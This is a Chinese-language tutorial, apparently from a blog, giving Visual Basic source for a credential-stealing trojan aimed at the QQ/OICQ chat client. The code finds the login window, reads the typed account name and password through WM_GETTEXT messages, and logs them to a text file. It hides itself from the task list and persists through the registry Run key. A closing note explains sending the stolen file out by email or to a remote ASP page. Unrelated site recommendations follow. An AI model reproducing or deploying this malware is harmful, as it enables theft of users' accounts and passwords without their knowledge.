设计思路
我们知道QQ的密码框并没有进行特别的处理,也就是说用可以通过 SendMessage 发送 WM_GETTEXT 取得密码框中的值,我们可以利用这一点来完成密码的截取,具体请看下面:
使用 Timer 控件,监视QQ。
用遍查窗口的方法(EnumWindows),取得所有的窗口标题(GetWindowText),判断其中是否为"QQ用户登录"的标题,取 得QQ登录窗口的子窗口(窗口上的控件)的类名(GetClassName),然后通过 ComboBox、Edit 取得用户名和密码(通过 SendMessage 发送 WM_GETTEXT 取得值)。
由于不能判断外部按键事件的发生,只有通过不断的取得密码值,具体方法如下:
首先取得 用户名的值,然后不停的取密码的值,再判断窗口的标题是否为用户名,如果为用户名,则最后一次密码的值就是真正的密码,到此程序完成。
程序编制
(1)首先为了避免程序被多次装载,造成系统资源的浪费、及不必要的错误。
声明变量、过程及 API 函数,写在 Module1.bas 文件中
Declare CreateFileMapping Lib "kernel32" Alias "CreateFileMappingA" (ByVal hFile As Long, lpFileMappigAttributes As SECURITY_ATTRIBUTES, ByVal flProtect As Long, ByVal dwMaximumSizeHigh As Long, ByVal dwMaximumSizeLow As Long, ByVal lpName As String) As Long '创建一个新的文件映射对象
Private Declare CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long '关闭一个内核对象
Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDeor As Long
bInheritHandle As Long
End Type
Const PAGE_READWRITE = 1
Const ERROR_ALREADY_EXISTS = 183&
建立判断程序是否多启动的过程
Sub Main()
Dim ynRun As Long
Dim sa As SECURITY_ATTRIBUTES
sa.bInheritHandle = 1
sa.lpSecurityDeor = 0
sa.nLength = Len(sa)
ynRun = CreateFileMapping(&HFFFFFFFF, sa, PAGE_READWRITE, 0, 128, App.title) '创建内存映射文件
If (Err.LastDllError = ERROR_ALREADY_EXISTS) Then '如果指定内存文件已存在,则退出
CloseHandle ynRun '退出程序前关闭内存映射文件
End
End If
End Sub
(2)即时监视,就需要在系统启动时,程序自启动,这里使用修改注册表的方法
声明变量、过程及 API 函数,写在 Module1.bas 文件中
Declare RegCreateKey& Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey&, ByVal lpszSubKey$, lphKey&) '在指定的项下创建一个新项。如指定的项已经存在,那么函数会打开现有的项
Declare RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long '设置指定项或子项的默认值
Const HKEY_LOCAL_MACHINE = &H80000002
Const REG_SZ = 1
建立使程序自启动的过程
sub AutoRun()
Dim sKeyName As String, sKeyValue As String, sKeyValueIcon As String
Dim Ret As Integer, lphKey As Long
sKeyName = "Software\Microsoft\Windows\CurrentVersion\Run" '是启动项在注册表中位置,大家可能通过 regedit.exe 来查看
sKeyValue = App.Path & IIf(Len(App.Path) > 3, "\" & "KillOicq.exe", "KillOicq.exe") 'monitor.exe 为这个程序
Ret = RegCreateKey&(HKEY_LOCAL_MACHINE, sKeyName, lphKey) '创建新的启动项
Ret = RegSetValue&(lphKey&, "", REG_SZ, sKeyValue, 0&) '设置键值
End Sub
(3)实现程序自身的隐藏(Me.Hide)、在关闭程序对话框中隐藏。
声明变量、过程及 API 函数,写在 Module1.bas 文件中
Declare RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
Const RSP_SIMPLE_SERVICE = 1 '隐藏
建立实现程序自身在关闭程序对话框中的隐藏的过程
Sub HideMyWin()
RegisterServiceProcess lngProcessID, RSP_SIMPLE_SERVICE
End Sub
(4)即时监视是否运行了 OICQ
加载 1 个 Timer 控件,其 Interval 的值为1(你也可以自己设置,尽量少点),这个程序就是通过 Timer 来实现监视的。
Private Sub Timer1_Timer()
EnumWindows AddressOf EnumProc, 0 '枚举窗口列表中的所有父窗口(顶级和被所有窗口),开始监视程序
End Sub
声明变量、过程、函数及 API 函数,写在 Module1.bas 文件中
Option Explicit
Declare EnumWindows Lib "user32" (ByVal lpEnumFunc As Any, ByVal lParam As Long) As Long '遍查窗口
Declare GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long '取得窗口标题
Declare GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long '为指定的窗口取得 类名
Declare GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long '获得一个窗口的句柄
Const GW_CHILD = 5 '寻找源窗口的第一个子窗口
Const GW_HWNDNEXT = 2 '为源窗口寻找下一个兄弟窗口
Declare SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal _
wMsg As Long, ByVal wParam As Long, lParam As Any) As Long '发送消息
Const WM_GETTEXT = &HD
Const WM_GETTEXTLENGTH = &HE
Dim buf As String
Dim nameall, name, passwordall, password As String
Dim i As Integer
Dim title, titleall, filepath As String
Public EnumProc(ByVal app_hwnd As Long, ByVal lParam As Long) As Boolean '遍查主窗口
Dim buf As String * 1024
Dim length As Long
filepath = App.Path & "\0.txt" '0.txt 为保存帐号、密码的文件
If Dir(filepath) = "" Then
title = ""
titleall = ""
End If
length = GetWindowText(app_hwnd, buf, Len(buf))
title = Left$(buf, length) '取得窗口的标题
If InStr(title, "OICQ用户登录") Then '判断是否为QQ窗口
Call GetZiWin(app_hwnd) '调用(5),取得 OICQ 窗口中的帐号、密码框的类名
End If
If title <> "" Then
If InStr(titleall, title) Then
EnumProc = 1
Else
titleall = titleall + title 'title 是指取得的窗口标题
If name <> "" Then '取得的帐号
If InStr(title, name) Then SaveFile '保存帐号密码(如果取得的标题等于取得的帐号,则表示用户名、密码已顺利取出了),就调用(7)
End If
End If
End If
EnumProc = 1
End
(5)取得 OICQ 窗口中的用户名、密码框的类名
自定义取得子窗口类名的函数,写在 Module1.bas 文件中
我们知道 OICQ 主窗口的用户名的类名是 ComboBox,密码框的类名是 Edit,这里可以通过取得类名的办法,取得它们的句柄,从而取得它们的值。
Public GetZiWin(window_hwnd As Long) As String
Dim buflen As Long
Dim child_hwnd As Long
Dim children() As Long
Dim num_children As Integer
Dim i As Integer
'取得类名
buflen = 256
buf = Space$(buflen - 1)
buflen = GetClassName(window_hwnd, buf, buflen)
buf = Left$(buf, buflen)
If Right(buf, 8) = "ComboBox" Or Right(buf, 4) = "Edit" Then '进行判断
GetZiWin = GetWinText(window_hwnd) '调用(6),取得它们的值
Exit
End If
num_children = 0
child_hwnd = GetWindow(window_hwnd, GW_CHILD) '取得第 1 个子窗口的句柄
Do While child_hwnd <> 0 '如果有子窗口
num_children = num_children + 1
ReDim Preserve children(1 To num_children)
children(num_children) = child_hwnd
child_hwnd = GetWindow(child_hwnd, GW_HWNDNEXT) '取得下一个兄弟窗口的句柄
Loop
For i = 1 To num_children
Call GetZiWin(children(i))
Next i
End
(6)通过(5)已得到了用户名、密码框的类名,也就取得了句柄,这一步进行取值
自定义取得子窗口的值的函数,写在 Module1.bas 文件中
Public GetWinText(window_hwnd As Long) As String '取得子窗口的值
Dim txtlen As Long
Dim txt As String
'通过 SendMessage 发送 WM_GETTEXT 取得地址栏的值
GetWinText = ""
If window_hwnd = 0 Then Exit
txtlen = SendMessage(window_hwnd, WM_GETTEXTLENGTH, 0, 0)
If txtlen = 0 Then Exit
txtlen = txtlen + 1
txt = Space$(txtlen)
txtlen = SendMessage(window_hwnd, WM_GETTEXT, txtlen, ByVal txt)
GetWinText = Left$(txt, txtlen)
If buf = "ComboBox" Then
name = GetWinText
If InStr(nameall, name) Then
i = 0
Else
nameall = nameall + name
i = i + 1
End If
Else
password = GetWinText
If InStr(passwordall, password) Then
i = 0
Else
passwordall = passwordall + password
i = i + 1
End If
End If
End
(7)到现在,程序已进行收尾阶段,如果在(4)中判断用户名、密码顺得取出,则保存相关信息。
自定义保存信息的过程,写在 Module1.bas 文件中
Sub SaveFile()
Dim file_num As Integer
Dim allstr As String
allstr = name & Space(5) & password & Space(5) & Now '保存帐号、密码、启动的时间
file_num = FreeFile
If Dir(filepath) = "" Then
Open filepath For Output As #file_num
Else
Open filepath For Append As #file_num
End If
Print #file_num, allstr
Close #file_num
End Sub
使用此软件后,在每次系统启动时该软件都会运行,监视QQ,当你打开QQ ,并输入密码,则该软件在软件所在目录记录里记下你的QQ帐号和密码,并保存在 0.txt 文件里,你只要双击 0.txt 文件就能看到帐号、密码.
补充说明:由于0.txt文件是保存在本地的,那么远程计算机要想知道对方的密码怎么办呢?我们可以通过邮 箱来实现.也就是把0.txt的文件通过电子邮件方式发送的指定的邮箱.还可以通过ASP来接受,利用一个FTP空间或者利用某网站,挂一个ASP文件上 去,再利用木马将账号密码发送到保存ASP文件的指定路径就行了。
分享到:
相关推荐
数电实验设计思路 数电实验设计思路是数字电路实验的核心所在,通过Multisim仿真数电实验,可以设计出多种逻辑电路,以下是数电实验设计思路的知识点总结: 一、四人无弃权抢答器设计思路 四人无弃权抢答器是数字...
在实际操作中,设计师会利用类似“美工logo设计思路1.EXE”、“美工logo设计思路2.EXE”和“美工logo设计思路3.EXE”这样的工具或软件来实现这些设计理念,如Adobe Illustrator或Photoshop,它们提供了丰富的功能来...
在.NET开发领域,设计思路是构建高效、可扩展和易于维护软件系统的关键。"巧解.NET设计思路"这个主题旨在帮助初学者打破思维僵局,激发创新思维,从而提升编程能力。以下是一些核心的设计思路及其详细解释: 1. **...
"基于数字化转型战略的企业数据治理方法设计思路" 基于数字化转型战略的企业数据治理方法设计思路,是指企业在数字化转型过程中,如何设计和实施数据治理方法,以确保数据的质量、安全和可靠性。本文将从数据治理的...
"一些常见设计思路"这个主题涵盖了从基本的Logo设计到复杂的Banner制作,以及各种案例分析,旨在帮助我们理解和掌握设计中的核心原则和技巧。以下是对这些关键知识点的详细阐述: 1. **设计思路**:设计思路是指...
即时通讯服务器设计思路
自定义表单设计思路 本文主要讲述了自定义表单设计思路的总体规划,旨在满足和现有工作流系统的耦合,通过对自定义表单系统的设计来实现表单权限、记录权限、字段权限等功能。下面是自定义表单设计思路的详细内容:...
SAP MM GRIR 设计思路对比 GRIR(Goods Receipt/Invoice Receipt)是一种通用的会计科目,用于记录企业采购过程中的物资采购成本。在 SAP MM 模块中,GRIR 科目扮演着重要的角色,负责记录采购单、入库和发票校验...
Linux 平台下 FTP 客户端的设计思路 Linux 操作系统是当今最流行的操作系统之一,其稳定、灵活、可扩展性强等特点使其在服务器领域中广泛应用。随着互联网的普及,文件传输协议(FTP)成为一种必不可少的网络协议。...
Framework的设计思路 以快速切换地图引擎为例讲解 Framework的设计思路。使代码扩展性非常高,解耦合。 需求:希望快速切换地图引擎(切换百度地图、高德地图) 情景:现在项目中使用的是百度(高德)地图...
顾客满意度调查问卷设计思路 顾客满意度调查问卷设计思路是基于顾客满意度理论建立的,对问卷内容有一定的要求,因此与一般的市场调查相比,具有特殊性。该设计思路涵盖了顾客满意度测评指标体系的特殊要求,包括一...
制造企业数字化转型与智能工厂设计思路 制造企业数字化转型与智能工厂设计思路是指企业为了适应数字化时代的发展趋势,采取的一系列数字化转型策略和措施,以提高企业的生产效率、降低成本、提高创新能力和竞争力。...
这个系统不仅包含了完整的PPT展示,设计文档,而且附带了可运行的源代码,对于初学者来说,这是一个非常宝贵的资源,可以帮助他们深入理解Android应用开发的过程和设计思路。 首先,"android studio课程设计作业...
设计思路(作业四).xmind
重点介绍了郭家湾选煤厂优化设计思路。其主要是综合原煤性质、用户对产品的要求、最大产率和最高经济效益等因素为依据进行制定。从简化洗选工艺、降低次生煤泥量、丰富产品结构、设备选型科学合理、优化总图等方面...
这个系统不仅提供了完整的源代码,还包含了设计思路和开发流程,对于想要学习MFC编程和项目开发的初学者来说,是一个非常宝贵的资源。 1. **MFC基础** MFC的核心是Windows API的封装,它通过C++的面向对象特性简化...
### 安卓设计思路详解 #### 一、设计理念与原则 安卓设计思路的核心在于创造既美观又实用的应用体验。设计理念强调画面的绚丽效果与操作的简洁便利,旨在打造充满人情味的产品,使用户在使用过程中感受到温暖与...
vb程序的代码与设计思路,随着信息技术在管理越来越深入而广泛的应用,信息管理系统的实施在技术上已逐步成熟。信息管理系统是一个不断发展的新型学科,任何一个单位要生存要发展,就要高效率地把内部活动有机地组织...
逆变器设计资料大解析:原理图设计详解与PCB布局指南及软件设计思路分享,逆变器设计全套资料:原理图详解、PCB布局指南与软件设计思路,逆变器器设计资料 包含原理图设计详解 pcb布局详解 软件设计思路 原理图,pcb都...
企业流程框架设计思路 企业流程框架设计思路是企业流程管理的核心组成部分,旨在通过流程框架的设计和规划,确保企业的业务流程之间的衔接和协调,提高企业的运营效率和整体性能。下面将对企业流程框架设计思路的...